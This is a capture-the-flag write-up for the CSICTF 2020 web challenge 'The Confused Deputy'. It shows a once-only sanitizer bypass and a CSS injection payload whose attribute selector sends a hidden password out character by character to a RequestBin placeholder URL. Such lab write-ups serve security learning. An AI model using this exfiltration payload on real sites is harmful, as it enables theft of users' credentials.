The Confused Deputy

发表于 2021-01-09 分类于 Challenge， 2020， CSICTF， Web
Challenge | 2020 | CSICTF | Web | The Confused Deputy

点击此处获得更好的阅读体验

WriteUp来源

https://dunsp4rce.github.io/csictf-2020/web/2020/07/22/The-Confused-Deputy.html

by `shreyas-sriram`

题目描述

> *Wow that's a pretty color! Don't you think? Pick your favourite and show it to the admin on /admin.*

题目考点

解题思路

- *There are two input field :*
- *`hidden input` with `value=<password>`*
- *`visible input` where users can enter a color*
- *The entered input colors are sanitized and gets reflected in the `<style>` tag*

```
<style> .show {background-image: none; background-color: ${sanitized(input)}}</style>
function sanitized(content) {
        content = content.replace('<', '').replace('>', '');
        return content;
    }
```

- *The sanitization is done only once, so it can be bypassed by using the following payload*

```
<><malicious-payload>
```

- *The santization removes `<>` and returns `<malicious-payload>`*
- *This is a case of `DOM-based XSS`, but XSS didn't execute on trying various payloads*
- *Then trying `CSS Injection` and using a RequestBinURL, it is possible to extract the password from the `hidden input` field*

Payload

```
#000000;} input[type="password"][value^="<value-x>"] {background-image: url('https://<RequestBinURL>/<value-x>');
```

Payload Explanation

- *`#000000;}`:*
- *Closes the existing style element*
- *`input[type="password"][value^="<value-x>"] {background-image: url('https://<RequestBinURL>/<value-x>');`:*
- *Creates a new style element for `input` tag whose `type=password` and `value` begins with `<value-x>`*
- *If the conditions satisfy, then a request is sent to the mentioned URL - `https://<RequestBinURL>/<value-x>`*
- *The entire password can be enumerated using the explained method*
- *Use `Burp Intruder` or write a script to automate the process*

Flag

```
csictf{cssxss}
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2020/CSICTF/Web/4CxKFGSRodwHeUXHTyfVer.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # 2020 # Web # CSICTF
Flying-Places
File Library